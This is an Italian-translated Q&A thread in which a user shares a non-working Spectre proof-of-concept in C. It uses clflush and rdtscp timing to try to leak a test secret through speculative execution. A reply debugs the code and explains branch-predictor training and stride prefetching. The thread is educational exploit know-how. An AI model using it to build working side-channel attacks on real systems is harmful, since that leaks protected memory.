Specter Proof of Concept (PoC) Esecuzione speculativa - Verifica del valore

3

Ispirato da questa domanda e basato su questo:

Perché me sytsem * senza patch * sembra * non vulnerabile da Spectre?

Ho capito che aprirò una nuova domanda, invece di "inquinare" qualcun altro con domande.

Ho scritto questo codice:

Dovrebbe caricare speculativamente 'U' nella cache della CPU e in seguito verrà verificato se è stato trovato lì, in base ai tempi di lettura.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

#define CACHELINESIZE   4096
#define REP     100


void main(void)
{
    typedef char line[CACHELINESIZE];
    line A[512];

    // Initialise array to 'A'
    for(int i=0; i<512; i++)
    {
        for(int j=0; j<CACHELINESIZE; j++)
        {
            A[i][j]='A'; 
        }
    }


    // Flush address of i
    for (int i = 0; i < 512; i++)
    {
        _mm_clflush( & A[i]); /* intrinsic for clflush instruction */
    }

    char secret = 'U';
    char any = 'X';

    char* pcheck[REP];
    line* pwrite[REP];

    for(int i=0; i<REP; i++) {
        pcheck[i] = &any; 
        pwrite[i] = A; 
    }

    /*
    for(int i=0;i<REP;i++)
    {
        printf("pcheck: %c\n",*pcheck[i]);
        printf("pwrite: %s\n",*pwrite[i]);
    }
    */

    pcheck[REP-1] = &secret;
    pwrite[REP-1] = A+256;

    /*
    printf("pcheck:%c\n", *pcheck[REP-1]);
    printf("pwrite:%c\n", **pwrite[REP-1]);
    */

    char dummy;
    for(int i=0; i<REP; i++) {
        if (i != (REP-1)) {
            dummy = *pcheck[i];
        }
    }
    int t0,time_taken = 0;
    int junk = 0;

    char * val;
    int mix_i=0;

    int i,j;
    int aux,res;

    char RandomId[26];
    char ListId[26]={65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};



    srand(time(NULL));

    for(i=0; i<26; i++)
    {
        res = rand() % 26;
        aux = ListId[res];

        if (ListId[res] != -1)
        {
            RandomId[i] = aux;
            ListId[res] = -1;
        }
        else
            i--;
    }


    for(i=0; i<26; i++)
    {
        t0 = __rdtscp(&junk); 
        val = &A[256+RandomId[i]];
        time_taken = __rdtscp(&junk) - t0;
        printf("trying: %c time: %i\n",RandomId[i],time_taken);

    }
}

Esecuzione:

 ./spectre
trying: Z time: 103
trying: D time: 94
trying: A time: 95
trying: S time: 94
trying: W time: 93
trying: Y time: 98
trying: X time: 93
trying: N time: 94
trying: E time: 93
trying: H time: 93
trying: B time: 93
trying: O time: 93
trying: V time: 93
trying: L time: 93
trying: M time: 94
trying: G time: 93
trying: U time: 93
trying: Q time: 93
trying: I time: 93
trying: C time: 107
trying: R time: 94
trying: P time: 94
trying: T time: 93
trying: F time: 94
trying: K time: 324
trying: J time: 94

Quindi non posso determinare con precisione cosa c'è nella cache della CPU, poiché molti hanno valori bassi simili.

C'è qualcosa di sbagliato in questo approccio?

Funziona perfettamente sul mio portatile con questa versione:

link

Qualcuno vede le differenze tra sopra e versione in questo post?

L'ho compilato senza ottimizzazioni (gcc -O0)

Faccio caricare speculativamente 'U'

Ho cancellato la cache (clflush)

Successivamente misuro i tempi.

L'ho eseguito su un core (tasket 0x1 ./spectre)

Ho anche aggiunto il carico (stress -i NO_OF_CORES)

Idee qualcuno?

Aggiornamento 1:

Ho pensato che verrà caricato in modo speculativo qui:

/*

The if evaluates to true 99 times in a row  and then once to false. Thus I assume that in the last run,
branch prediction is fooled into speculatively executing (but later abandoning) the assignment.

*/ 
  if (i != (REP-1)) {
    dummy = *pcheck[i];
  }
}

Quindi a dummy verrà assegnata una "U", il che significa che dovrebbe essere nella cache della CPU?

Aggiornamento 2:

Questo dovrebbe essere sufficiente? È questo che intendi?

char dummy = 0; //prevent optimization by compiler
for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][256] = dummy;   
 }
}

Grazie,

Aggiornamento 3:

È corretto?

for(int i=0; i<REP; i++) {
 if (i != (REP-1)) {
    dummy = *pcheck[i];
    A[256][i] = dummy;   
 }
}

Aggiornamento 4:

Inoltre, non dovrebbe essere fatto il momento in questo modo?

volatile uint8_t * addr;
  for(i=0; i<26; i++)
  {
    mix_i = RandomId[i];
    addr = &A[256][10+mix_i];
    t0 = __rdtscp(&junk); 
    junk = *addr;
    time_taken = __rdtscp(&junk) - t0;
    printf("trying: %c time: %i\n",RandomId[i],time_taken);
  }
}
    
posta android_dev 16.01.2018 - 16:37
fonte

1 risposta

1

Non ho accesso immediato a una macchina priva di patch in modo che le seguenti siano osservazioni dal codice. Alcuni o tutti potrebbero essere sbagliati! Anche un avviso su chiunque altro provi questo su una macchina Windows - devi aumentare il limite di riserva dello stack!

Il primo potenziale problema che noto è

_mm_clflush( & A[i]); /* intrinsic for clflush instruction */

Stai prendendo l'indirizzo di A [i]. Ma A [i] è di tipo line - "char line [CACHELINESIZE]" che è già un puntatore. Quindi non sono convinto che stiate scaricando l'indirizzo corretto - suggerirei di provare "_mm_clflush (A [i])". Passare a questo su una macchina Windows con patch aumenta i tempi di accesso di ~ 80%.

Dove carichi la pagina in A per U ?. A non viene toccato se non quello di scriverlo, non è usato per quanto posso vedere. E il pwrite non viene utilizzato in nessun altro posto diverso da dove è stato inizializzato.

Ci sono ancora problemi minori oltre a questo, ma suggerirei di risolvere i due problemi principali di cui sopra. Se continua a non funzionare fammelo sapere e guarderò oltre.

Would be great if you can explain stride prediction and training the branch concept.

La previsione del passo è il punto in cui il sistema sottostante rileva un modello nei dati richiesti e lo prefigura automaticamente. Il sistema qui potrebbe essere hardware, sistema operativo o compilatore.

vale a dire. se stavi facendo -

for (auto i = 0; i < numPages; ++i) {
    DoSomethingWith(pages[i]);
}

Il sistema potrebbe notare lo schema e assicurarsi che abbia già pagine [i] memorizzate nella cache (precaricamento) prima di chiederne l'uso. Poiché in questo caso stiamo tentando di controllare manualmente i contenuti della cache, non vogliamo che il sistema esegua questa operazione, quindi vogliamo evitare qualsiasi pattern durante l'accesso ai dati in A.

Allenare il ramo sta tentando di controllare come si comporta il predittore del ramo. In questo caso vogliamo assicurarci che il valore "i! = (REP-1)" sia ogni volta un ramo vero, incluso il tempo in cui non lo è. Quindi abbiamo bisogno di ripetere lo stesso esercizio in cui ciò viene valutato più volte. Abbiamo quindi bisogno di assicurarci che non ci siano cambiamenti evidenti quando lo stato si trasforma in true per rovesciare il predittore di ramo prima del tempo in cui si suppone che debba scegliere l'altra direzione.

    
risposta data 17.01.2018 - 10:20
fonte

Leggi altre domande sui tag